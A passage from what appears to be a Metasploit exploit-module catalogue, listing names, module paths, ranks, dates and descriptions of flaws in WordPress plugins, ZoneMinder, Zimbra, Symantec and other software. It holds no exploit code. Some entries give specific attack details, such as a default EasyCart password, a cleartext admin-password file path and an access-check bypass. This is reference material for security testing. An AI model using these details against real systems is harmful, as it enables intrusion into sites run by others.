   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2015-02-21

Payload information:

Description:
  This module will generate a plugin, pack the payload into it
  and upload it to a server running WordPress provided valid
  admin credentials are used.


End Exploit Number 1207

Begin Exploit Number 1208
       Name: WordPress Plugin Advanced Custom Fields Remote File
Inclusion
     Module: exploit/unix/webapp/wp_advanced_custom_fields_exec
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2012-11-14

Payload information:

Description:
  This module exploits a remote file inclusion flaw in the WordPress
blogging
  software plugin known as Advanced Custom Fields. The vulnerability
allows for remote
  file inclusion and remote code execution via the export.php script.
The Advanced
  Custom Fields plug-in versions 3.5.1 and below are vulnerable. This
exploit only
  works when the php option allow_url_include is set to On (Default
Off).

End Exploit Number 1208

Begin Exploit Number 1209
       Name: Wordpress Ajax Load More PHP Upload Vulnerability
     Module: exploit/unix/webapp/wp_ajax_load_more_file_upload
   Platform: PHP
       Arch: php
 Privileged: No
```

```
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2015-10-10

Payload information:

Description:
  This module exploits an arbitrary file upload in the WordPress Ajax
Load More
  version 2.8.1.1. It allows to upload arbitrary php files and get
remote code
  execution. This module has been tested successfully on WordPress
Ajax Load More
  2.8.0 with Wordpress 4.1.3 on Ubuntu 12.04/14.04 Server.

End Exploit Number 1209

Begin Exploit Number 1210
       Name: WordPress Asset-Manager PHP File Upload Vulnerability
     Module: exploit/unix/webapp/wp_asset_manager_upload_exec
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2012-05-26

Payload information:

Description:
  This module exploits a vulnerability found in Asset-Manager <= 2.0
WordPress
  plugin. By abusing the upload.php file, a malicious user can upload
a file to a
  temp directory without authentication, which results in arbitrary
code execution.

End Exploit Number 1210

Begin Exploit Number 1211
       Name: Wordpress Creative Contact Form Upload Vulnerability
     Module: exploit/unix/webapp/wp_creativecontactform_file_upload
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2014-10-22

Payload information:
```

```
Description:
  This module exploits an arbitrary PHP code upload in the WordPress
Creative Contact
  Form version 0.9.7. The vulnerability allows for arbitrary file
upload and remote code execution.

End Exploit Number 1211

Begin Exploit Number 1212
       Name: Wordpress Download Manager (download-manager)
Unauthenticated File Upload
     Module: exploit/unix/webapp/wp_downloadmanager_upload
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2014-12-03

Payload information:

Description:
  The WordPress download-manager plugin contains multiple
unauthenticated file upload
  vulnerabilities which were fixed in version 2.7.5.

End Exploit Number 1212

Begin Exploit Number 1213
       Name: WordPress WP EasyCart Unrestricted File Upload
     Module: exploit/unix/webapp/wp_easycart_unrestricted_file_upload
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2015-01-08

Payload information:

Description:
  WordPress Shopping Cart (WP EasyCart) Plugin for
  WordPress contains a flaw that allows a remote
  attacker to execute arbitrary PHP code. This
  flaw exists because the
  /inc/amfphp/administration/banneruploaderscript.php
  script does not properly verify or sanitize
  user-uploaded files. By uploading a .php file,
  the remote system will place the file in a
  user-accessible path. Making a direct request to
  the uploaded file will allow the attacker to
  execute the script with the privileges of the web
  server.

  In versions <= 3.0.8 authentication can be done by
  using the WordPress credentials of a user with any
  role. In later versions, a valid EasyCart admin
  password will be required that is in use by any
  admin user. A default installation of EasyCart will
  setup a user called "demouser" with a preset password
  of "demouser".

End Exploit Number 1213

Begin Exploit Number 1214
       Name: WordPress Plugin Foxypress uploadify.php Arbitrary Code
Execution
     Module: exploit/unix/webapp/wp_foxypress_upload
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2012-06-05

Payload information:

Description:
  This module exploits an arbitrary PHP code execution flaw in the
WordPress
  blogging software plugin known as Foxypress. The vulnerability
allows for arbitrary
  file upload and remote code execution via the uploadify.php script.
The Foxypress
  plugin versions 0.4.1.1 to 0.4.2.1 are vulnerable.

End Exploit Number 1214

Begin Exploit Number 1215
       Name: Wordpress Front-end Editor File Upload
     Module: exploit/unix/webapp/wp_frontend_editor_file_upload
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2012-07-04

Payload information:
```

```
Description:
  The WordPress Front-end Editor plugin contains an authenticated file
upload
  vulnerability. An attacker can upload arbitrary files to the upload
folder because
  the plugin uses its own file upload mechanism instead of the
WordPress API, which
  incorrectly allows uploads of any file type.

End Exploit Number 1215

Begin Exploit Number 1216
       Name: WordPress Plugin Google Document Embedder Arbitrary File
Disclosure
     Module: exploit/unix/webapp/wp_google_document_embedder_exec
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2013-01-03

Payload information:

Description:
  This module exploits an arbitrary file disclosure flaw in the
WordPress
  blogging software plugin known as Google Document Embedder. The
vulnerability allows for
  database credential disclosure via the /libs/pdf.php script. The
Google Document Embedder
  plug-in versions 2.4.6 and below are vulnerable. This exploit only
works when the MySQL
  server is exposed on an accessible IP and WordPress has filesystem
write access.

  Please note: The admin password may get changed if the exploit does
not run to the end.

End Exploit Number 1216

Begin Exploit Number 1217
       Name: WordPress Holding Pattern Theme Arbitrary File Upload
     Module: exploit/unix/webapp/wp_holding_pattern_file_upload
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2015-02-11

Payload information:

Description:
  This module exploits a file upload vulnerability in all versions of
the
  Holding Pattern theme found in the upload_file.php script which
contains
  no session or file validation. It allows unauthenticated users to
upload
  files of any type and subsequently execute PHP scripts in the
context of
  the web server.

End Exploit Number 1217

Begin Exploit Number 1218
       Name: Wordpress InBoundio Marketing PHP Upload Vulnerability
     Module: exploit/unix/webapp/wp_inboundio_marketing_file_upload
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2015-03-24

Payload information:

Description:
  This module exploits an arbitrary file upload in the WordPress
InBoundio Marketing version
  2.0. It allows to upload arbitrary php files and get remote code
execution. This module
  has been tested successfully on WordPress InBoundio Marketing 2.0.3
with Wordpress 4.1.3 on
  Ubuntu 14.04 Server.

End Exploit Number 1218

Begin Exploit Number 1219
       Name: WordPress InfiniteWP Client Authentication Bypass
     Module: exploit/unix/webapp/wp_infinitewp_auth_bypass
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Manual
  Disclosed: 2020-01-14
```

```
Payload information:

Description:
  This module exploits an authentication bypass in the WordPress
  InfiniteWP Client plugin to log in as an administrator and execute
  arbitrary PHP code by overwriting the file specified by PLUGIN_FILE.

  The module will attempt to retrieve the original PLUGIN_FILE
contents
  and restore them after payload execution. If VerifyContents is set,
  which is the default setting, the module will check to see if the
  restored contents match the original.

  Note that a valid administrator username is required for this
module.

  WordPress >= 4.9 is currently not supported due to a breaking
WordPress
  API change. Tested against 4.8.3.

End Exploit Number 1219

Begin Exploit Number 1220
       Name: Wordpress InfusionSoft Upload Vulnerability
     Module: exploit/unix/webapp/wp_infusionsoft_upload
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2014-09-25

Payload information:

Description:
  This module exploits an arbitrary PHP code upload in the WordPress
Infusionsoft Gravity
  Forms plugin, versions from 1.5.3 to 1.5.10. The vulnerability
allows for arbitrary file
  upload and remote code execution.

End Exploit Number 1220

Begin Exploit Number 1221
       Name: WordPress cache_lastpostdate Arbitrary Code Execution
     Module: exploit/unix/webapp/wp_lastpost_exec
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
```

```
       Rank: Excellent
  Disclosed: 2005-08-09

Payload information:
  Space: 512

Description:
  This module exploits an arbitrary PHP code execution flaw in the 
WordPress
  blogging software. This vulnerability is only present when the PHP 
'register_globals'
  option is enabled (common for hosting providers). All versions of 
WordPress prior to
  1.5.1.3 are affected.

End Exploit Number 1221

Begin Exploit Number 1222
       Name: WordPress WP Mobile Detector 3.5 Shell Upload
     Module: exploit/unix/webapp/wp_mobile_detector_upload_execute
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2016-05-31

Payload information:

Description:
  WP Mobile Detector Plugin for WordPress contains a flaw that allows 
a remote attacker
  to execute arbitrary PHP code. This flaw exists because the
  /wp-content/plugins/wp-mobile-detector/resize.php script does 
contains a
  remote file include for files not cached by the system already.
  By uploading a .php file, the remote system will
  place the file in a user-accessible path. Making a direct request to 
the
  uploaded file will allow the attacker to execute the script with the 
privileges
  of the web server.

End Exploit Number 1222

Begin Exploit Number 1223
       Name: Wordpress N-Media Website Contact Form Upload 
Vulnerability
     Module: exploit/unix/webapp/wp_nmediawebsite_file_upload
   Platform: PHP
```

```
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2015-04-12

Payload information:

Description:
  This module exploits an arbitrary PHP code upload in the WordPress 
N-Media Website Contact Form
  plugin, version 1.3.4. The vulnerability allows for arbitrary file 
upload and remote code execution.

End Exploit Number 1223

Begin Exploit Number 1224
       Name: WordPress OptimizePress Theme File Upload Vulnerability
     Module: exploit/unix/webapp/wp_optimizepress_upload
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2013-11-29

Payload information:

Description:
  This module exploits a vulnerability found in the WordPress theme 
OptimizePress. The
  vulnerability is due to an insecure file upload on the media-
upload.php component, allowing
  an attacker to upload arbitrary PHP code. This module has been 
tested successfully on
  OptimizePress 1.45.

End Exploit Number 1224

Begin Exploit Number 1225
       Name: WordPress Photo Gallery Unrestricted File Upload
     Module: exploit/unix/webapp/
wp_photo_gallery_unrestricted_file_upload
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2014-11-11
```

```
Payload information:

Description:
  Photo Gallery Plugin for WordPress contains a flaw that allows a
  remote attacker to execute arbitrary PHP code. This flaw exists
  because the photo-gallery\photo-gallery.php script allows access
  to filemanager\UploadHandler.php. The post() method in
UploadHandler.php
  does not properly verify or sanitize user-uploaded files.

  This module was tested on version 1.2.5.

End Exploit Number 1225

Begin Exploit Number 1226
       Name: WordPress PHPMailer Host Header Command Injection
     Module: exploit/unix/webapp/wp_phpmailer_host_header
   Platform: Linux
       Arch: x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2017-05-03

Payload information:

Description:
  This module exploits a command injection vulnerability in WordPress
  version 4.6 with Exim as an MTA via a spoofed Host header to
PHPMailer,
  a mail-sending library that is bundled with WordPress.

  A valid WordPress username is required to exploit the vulnerability.
  Additionally, due to the altered Host header, exploitation is
limited to
  the default virtual host, assuming the header isn't mangled in
transit.

  If the target is running Apache 2.2.32 or 2.4.24 and later, the
server
  may have HttpProtocolOptions set to Strict, preventing a Host header
  containing parens from passing through, making exploitation
unlikely.

End Exploit Number 1226

Begin Exploit Number 1227
       Name: WordPress Plugin Pie Register Auth Bypass to RCE
     Module: exploit/unix/webapp/wp_pie_register_bypass_rce
   Platform: PHP
```

```
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2021-10-08

Payload information:

Description:
  This module uses an authentication bypass vulnerability in
  Wordpress Plugin Pie Register <= 3.7.1.4 to generate a valid cookie.
  With this cookie, hopefully of the admin, it will generate a plugin,
  pack the payload into it and upload it to a server running
WordPress.

End Exploit Number 1227

Begin Exploit Number 1228
       Name: WordPress Pixabay Images PHP Code Upload
     Module: exploit/unix/webapp/wp_pixabay_images_upload
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2015-01-19

Payload information:

Description:
  This module exploits multiple vulnerabilities in the WordPress
plugin Pixabay
  Images 2.3.6. The plugin does not check the host of a provided
download URL
  which can be used to store and execute malicious PHP code on the
system.

End Exploit Number 1228

Begin Exploit Number 1229
       Name: Wordpress Plainview Activity Monitor RCE
     Module: exploit/unix/webapp/wp_plainview_activity_monitor_rce
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2018-08-26

Payload information:
  Avoid: 3 characters

Description:
  Plainview Activity Monitor Wordpress plugin is vulnerable to OS
  command injection which allows an attacker to remotely execute
  commands on underlying system. Application passes unsafe user
supplied
  data to ip parameter into activities_overview.php.
  Privileges are required in order to exploit this vulnerability.

  Vulnerable plugin version: 20161228 and possibly prior
  Fixed plugin version: 20180826

End Exploit Number 1229

Begin Exploit Number 1230
       Name: WordPress Platform Theme File Upload Vulnerability
     Module: exploit/unix/webapp/wp_platform_exec
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2015-01-21

Payload information:

Description:
  The WordPress Theme "platform" contains a remote code execution
vulnerability
  through an unchecked admin_init call. The theme includes the
uploaded file
  from its temp filename with php's include function.

End Exploit Number 1230

Begin Exploit Number 1231
       Name: WordPress WP-Property PHP File Upload Vulnerability
     Module: exploit/unix/webapp/wp_property_upload_exec
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2012-03-26

Payload information:

Description:
  This module exploits a vulnerability found in WP-Property <= 1.35.0
```

```
WordPress
  plugin. By abusing the uploadify.php file, a malicious user can
upload a file to a
  temp directory without authentication, which results in arbitrary
code execution.

End Exploit Number 1231

Begin Exploit Number 1232
       Name: Wordpress Reflex Gallery Upload Vulnerability
     Module: exploit/unix/webapp/wp_reflexgallery_file_upload
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2012-12-30

Payload information:

Description:
  This module exploits an arbitrary PHP code upload in the WordPress
Reflex Gallery
  version 3.1.3. The vulnerability allows for arbitrary file upload
and remote code execution.

End Exploit Number 1232

Begin Exploit Number 1233
       Name: WordPress RevSlider File Upload and Execute Vulnerability
     Module: exploit/unix/webapp/wp_revslider_upload_execute
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2014-11-26

Payload information:

Description:
  This module exploits an arbitrary PHP code upload vulnerability in
the
  WordPress ThemePunch Slider Revolution (RevSlider) plugin, versions
3.0.95
  and prior. The vulnerability allows for arbitrary file upload and
remote code execution.

End Exploit Number 1233
```

```
Begin Exploit Number 1234
       Name: Wordpress SlideShow Gallery Authenticated File Upload
     Module: exploit/unix/webapp/wp_slideshowgallery_upload
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2014-08-28

Payload information:

Description:
  The Wordpress SlideShow Gallery plugin contains an authenticated 
file upload
  vulnerability. An attacker can upload arbitrary files to the upload 
folder.
  Since the plugin uses its own file upload mechanism instead of the 
WordPress
  API, it's possible to upload any file type.

End Exploit Number 1234

Begin Exploit Number 1235
       Name: WordPress WP Symposium 14.11 Shell Upload
     Module: exploit/unix/webapp/wp_symposium_shell_upload
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2014-12-11

Payload information:

Description:
  WP Symposium Plugin for WordPress contains a flaw that allows a 
remote attacker
  to execute arbitrary PHP code. This flaw exists because the
  /wp-symposium/server/file_upload_form.php script does not properly 
verify or
  sanitize user-uploaded files. By uploading a .php file, the remote 
system will
  place the file in a user-accessible path. Making a direct request to 
the
  uploaded file will allow the attacker to execute the script with the 
privileges
  of the web server.

End Exploit Number 1235
```

```
Begin Exploit Number 1236
       Name: WordPress W3 Total Cache PHP Code Execution
     Module: exploit/unix/webapp/wp_total_cache_exec
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2013-04-17

Payload information:

Description:
  This module exploits a PHP Code Injection vulnerability against 
WordPress plugin
  W3 Total Cache for versions up to and including 0.9.2.8.  WP Super 
Cache 1.2 or older
  is also reported as vulnerable.  The vulnerability is due to the 
handling of certain
  macros such as mfunc, which allows arbitrary PHP code injection.  A 
valid post ID is
  needed in order to add the malicious comment.  If the POSTID option 
isn't specified,
  then the module will automatically find or bruteforce one.  Also, if 
anonymous comments
  aren't allowed, then a valid username and password must be provided.  
In addition,
  the "A comment is held for moderation" option on WordPress must be 
unchecked for
  successful exploitation.  This module has been tested against 
WordPress 3.5 and
  W3 Total Cache 0.9.2.3 on a Ubuntu 10.04 system.

End Exploit Number 1236

Begin Exploit Number 1237
       Name: Wordpress Work The Flow Upload Vulnerability
     Module: exploit/unix/webapp/wp_worktheflow_upload
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2015-03-14

Payload information:

Description:
  This module exploits an arbitrary PHP code upload in the WordPress
```

```
Work The Flow plugin,
  version 2.5.2. The vulnerability allows for arbitrary file upload
and remote code execution.

End Exploit Number 1237

Begin Exploit Number 1238
       Name: WordPress wpDiscuz Unauthenticated File Upload
Vulnerability
     Module: exploit/unix/webapp/
wp_wpdiscuz_unauthenticated_file_upload
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2020-02-21

Payload information:

Description:
  This module exploits an arbitrary file upload in the WordPress
wpDiscuz plugin
  versions >= `7.0.0` and <= `7.0.4`. This flaw gave unauthenticated
attackers the ability
  to upload arbitrary files, including PHP files, and achieve remote
code execution on a
  vulnerable site’s server.

End Exploit Number 1238

Begin Exploit Number 1239
       Name: WordPress WPshop eCommerce Arbitrary File Upload
Vulnerability
     Module: exploit/unix/webapp/wp_wpshop_ecommerce_file_upload
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2015-03-09

Payload information:

Description:
  This module exploits an arbitrary file upload in the WordPress
WPshop eCommerce plugin
  from version 1.3.3.3 to 1.3.9.5. It allows to upload arbitrary PHP
code and get remote
  code execution. This module has been tested successfully on
```

```
WordPress WPshop eCommerce
  1.3.9.5 with WordPress 4.1.3 on Ubuntu 14.04 Server.

End Exploit Number 1239

Begin Exploit Number 1240
       Name: WordPress WPTouch Authenticated File Upload
     Module: exploit/unix/webapp/wp_wptouch_file_upload
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2014-07-14

Payload information:

Description:
  The WordPress WPTouch plugin contains an authenticated file upload
  vulnerability. A wp-nonce (CSRF token) is created on the backend
index
  page and the same token is used on handling ajax file uploads
through
  the plugin. By sending the captured nonce with the upload, we can
  upload arbitrary files to the upload folder. Because the plugin also
  uses its own file upload mechanism instead of the WordPress api it's
  possible to upload any file type.
  The user provided does not need special rights, and users with
"Contributor"
  role can be abused.

End Exploit Number 1240

Begin Exploit Number 1241
       Name: Wordpress MailPoet Newsletters (wysija-newsletters)
Unauthenticated File Upload
     Module: exploit/unix/webapp/wp_wysija_newsletters_upload
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2014-07-01

Payload information:

Description:
  The Wordpress plugin "MailPoet Newsletters" (wysija-newsletters)
before 2.6.8
  is vulnerable to an unauthenticated file upload. The exploit uses
```

```
the Upload Theme
  functionality to upload a zip file containing the payload. The
plugin uses the
  admin_init hook, which is also executed for unauthenticated users
when accessing
  a specific URL. The first fix for this vulnerability appeared in
version 2.6.7,
  but the fix can be bypassed. In PHP's default configuration,
  a POST variable overwrites a GET variable in the $_REQUEST array.
The plugin
  uses $_REQUEST to check for access rights. By setting the POST
parameter to
  something not beginning with 'wysija_', the check is bypassed.
Wordpress uses
  the $_GET array to determine the page, so it is not affected by
this. The developers
  applied the fixes to all previous versions too.

End Exploit Number 1241

Begin Exploit Number 1242
       Name: XODA 0.4.5 Arbitrary PHP File Upload Vulnerability
     Module: exploit/unix/webapp/xoda_file_upload
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2012-08-21

Payload information:
  Avoid: 1 characters

Description:
  This module exploits a file upload vulnerability found in XODA
0.4.5. Attackers
  can abuse the "upload" command in order to upload a malicious PHP
file without any
  authentication, which results in arbitrary code execution. The
module has been
  tested successfully on XODA 0.4.5 and Ubuntu 10.04.

End Exploit Number 1242

Begin Exploit Number 1243
       Name: Xymon useradm Command Execution
     Module: exploit/unix/webapp/xymon_useradm_cmd_exec
   Platform: Unix, Linux, Solaris, BSD
       Arch: 
 Privileged: No
```

```
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2016-02-14

Payload information:
  Space: 2048
  Avoid: 3 characters

Description:
  This module exploits a command injection vulnerability in Xymon
  versions before 4.3.25 which allows authenticated users
  to execute arbitrary operating system commands as the web
  server user.

  When adding a new user to the system via the web interface with
  `useradm.sh`, the user's username and password are passed to
  `htpasswd` in a call to `system()` without validation.

  This module has been tested successfully on Xymon version 4.3.10
  on Debian 6.

End Exploit Number 1243

Begin Exploit Number 1244
       Name: ZeroShell Remote Code Execution
     Module: exploit/unix/webapp/zeroshell_exec
   Platform: Linux
       Arch: x86
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2013-09-22

Payload information:

Description:
  This module exploits a vulnerability found in ZeroShell 2.0 RC2 and 
lower.
  It will leverage an unauthenticated local file inclusion 
vulnerability in the
  "/cgi-bin/kerbynet" url. The file retrieved is "/var/register/
system/ldap/rootpw".
  This file contains the admin password in cleartext. The password is 
used to login
  as the admin user. After the authentication process is complete it 
will use the
  RunScript action to execute the payload with root privileges.

End Exploit Number 1244
```

```
Begin Exploit Number 1245
       Name: Zimbra Collaboration Server LFI
     Module: exploit/unix/webapp/zimbra_lfi
   Platform: Linux
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2013-12-06

Payload information:

Description:
  This module exploits a local file inclusion on Zimbra 8.0.2 and 
7.2.2. The vulnerability
  allows an attacker to get the LDAP credentials from the 
localconfig.xml file. The stolen
  credentials allow the attacker to make requests to the service/
admin/soap API. This can
  then be used to create an authentication token for the admin web 
interface. This access
  can be used to achieve remote code execution. This module has been 
tested on Zimbra
  Collaboration Server 8.0.2 with Ubuntu Server 12.04.

End Exploit Number 1245

Begin Exploit Number 1246
       Name: ZoneMinder Language Settings Remote Code Execution
     Module: exploit/unix/webapp/zoneminder_lang_exec
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2022-04-27

Payload information:

Description:
  This module exploits arbitrary file write in debug log file option
  chained with a path traversal in language settings that leads to a
  remote code execution in ZoneMinder surveillance software versions
  before 1.36.13 and before 1.37.11

End Exploit Number 1246

Begin Exploit Number 1247
       Name: ZoneMinder Video Server packageControl Command Execution
     Module: exploit/unix/webapp/zoneminder_packagecontrol_exec
   Platform: Unix
       Arch: cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2013-01-22

Payload information:
  Avoid: 1 characters

Description:
  This module exploits a command execution vulnerability in ZoneMinder 
Video
  Server version 1.24.0 to 1.25.0 which could be abused to allow
  authenticated users to execute arbitrary commands under the context 
of the
  web server user. The 'packageControl' function in the
  'includes/actions.php' file calls 'exec()' with user controlled data
  from the 'runState' parameter.

End Exploit Number 1247

Begin Exploit Number 1248
       Name: ZoneMinder Snapshots Command Injection
     Module: exploit/unix/webapp/zoneminder_snapshots
   Platform: Linux, Unix
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2023-02-24

Payload information:

Description:
  This module exploits an unauthenticated command injection
  in zoneminder that can be exploited by appending a command
  to the "create monitor ids[]"-action of the snapshot view.
  Affected versions: < 1.36.33, < 1.37.33

End Exploit Number 1248

Begin Exploit Number 1249
       Name: ZPanel 10.0.0.2 htpasswd Module Username Command 
Execution
     Module: exploit/unix/webapp/zpanel_username_exec
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
```

```
       Rank: Excellent
  Disclosed: 2013-06-07

Payload information:

Description:
  This module exploits a vulnerability found in ZPanel's htpasswd
module. When
  creating .htaccess using the htpasswd module, the username field can
be used to
  inject system commands, which is passed on to a system() function
for executing
  the system's htpasswd command.

  Please note: In order to use this module, you must have a valid
account to login
  to ZPanel.  An account part of any of the default groups should
suffice, such as:
  Administrators, Resellers, or Users (Clients).  By default, there's
already a
  'zadmin' user, but the password is randomly generated.

End Exploit Number 1249

Begin Exploit Number 1250
       Name: X11 Keyboard Command Injection
     Module: exploit/unix/x11/x11_keyboard_exec
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2015-07-10

Payload information:

Description:
  This module exploits open X11 servers by connecting and registering
a
  virtual keyboard. The virtual keyboard is used to open an xterm or
gnome
  terminal and type and execute the specified payload.


End Exploit Number 1250

Begin Exploit Number 1251
       Name: Symantec System Center Alert Management System
(hndlrsvc.exe) Arbitrary Command Execution
     Module: exploit/windows/antivirus/ams_hndlrsvc
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2010-07-26

Payload information:

Description:
  Symantec System Center Alert Management System is prone to a
  remote command-injection vulnerability because the application fails
  to properly sanitize user-supplied input.  This is part of Symantec
  AntiVirus Corporate Edition 8.0 - 10.1.7.

End Exploit Number 1251

Begin Exploit Number 1252
       Name: Symantec System Center Alert Management System (xfr.exe)
Arbitrary Command Execution
     Module: exploit/windows/antivirus/ams_xfr
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2009-04-28

Payload information:

Description:
  Symantec System Center Alert Management System is prone to a remote
command-injection vulnerability
  because the application fails to properly sanitize user-supplied
input.

End Exploit Number 1252

Begin Exploit Number 1253
       Name: Symantec Endpoint Protection Manager /servlet/
ConsoleServlet Remote Command Execution
     Module: exploit/windows/antivirus/symantec_endpoint_manager_rce
   Platform: Windows
       Arch: x86
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2014-02-24

Payload information:
```

```
Description:
  This module exploits XXE and SQL injection flaws in Symantec
Endpoint Protection Manager
  versions 11.0, 12.0 and 12.1. When supplying a specially crafted XML
external entity (XXE) request an attacker
  can reach SQL injection affected components. As xp_cmdshell is
enabled in the included
  database instance, it's possible to execute arbitrary system
commands on the target
  with SYSTEM privileges.

End Exploit Number 1253

Begin Exploit Number 1254
       Name: Symantec Alert Management System Intel Alert Originator
Service Buffer Overflow
     Module: exploit/windows/antivirus/symantec_iao
   Platform: Windows
       Arch:
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2009-04-28

Payload information:
  Space: 800
  Avoid: 4 characters

Description:
  This module exploits a stack buffer overflow in Intel Alert
Originator Service msgsys.exe.
  When an attacker sends a specially crafted alert, arbitrary code may
be executed.

End Exploit Number 1254

Begin Exploit Number 1255
       Name: Symantec Remote Management Buffer Overflow
     Module: exploit/windows/antivirus/symantec_rtvscan
   Platform: Windows
       Arch:
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2006-05-24

Payload information:
  Space: 500
  Avoid: 1 characters
```

```
Description:
  This module exploits a stack buffer overflow in Symantec Client
Security 3.0.x.
  This module has only been tested against Symantec Client Security
3.0.2
  build 10.0.2.2000.

End Exploit Number 1255

Begin Exploit Number 1256
       Name: Symantec Workspace Streaming
ManagementAgentServer.putFile XMLRPC Request Arbitrary File Upload
     Module: exploit/windows/antivirus/
symantec_workspace_streaming_exec
   Platform: Java
       Arch: java
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2014-05-12

Payload information:

Description:
  This module exploits a code execution flaw in Symantec Workspace
Streaming. The
  vulnerability exists in the ManagementAgentServer.putFile XMLRPC
call exposed by the
  as_agent.exe service, which allows for uploading arbitrary files
under the server root.
  This module abuses the auto deploy feature in the JBoss as_ste.exe
instance in order
  to achieve remote code execution. This module has been tested
successfully on Symantec
  Workspace Streaming 6.1 SP8 and Windows 2003 SP2, and reported to
affect 7.5.0.x.
  Abused services listen on a single-machine deployment and also in
the backend role in
  a multiple-machine deployment.

End Exploit Number 1256

Begin Exploit Number 1257
       Name: Trend Micro ServerProtect 5.58 Buffer Overflow
     Module: exploit/windows/antivirus/trendmicro_serverprotect
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
```

```
       Rank: Good
  Disclosed: 2007-02-20

Payload information:
  Space: 800
  Avoid: 1 characters

Description:
  This module exploits a buffer overflow in Trend Micro ServerProtect
5.58 Build 1060.
  By sending a specially crafted RPC request, an attacker could
overflow the
  buffer and execute arbitrary code.

End Exploit Number 1257

Begin Exploit Number 1258
       Name: Trend Micro ServerProtect 5.58 CreateBinding() Buffer
Overflow
     Module: exploit/windows/antivirus/
trendmicro_serverprotect_createbinding
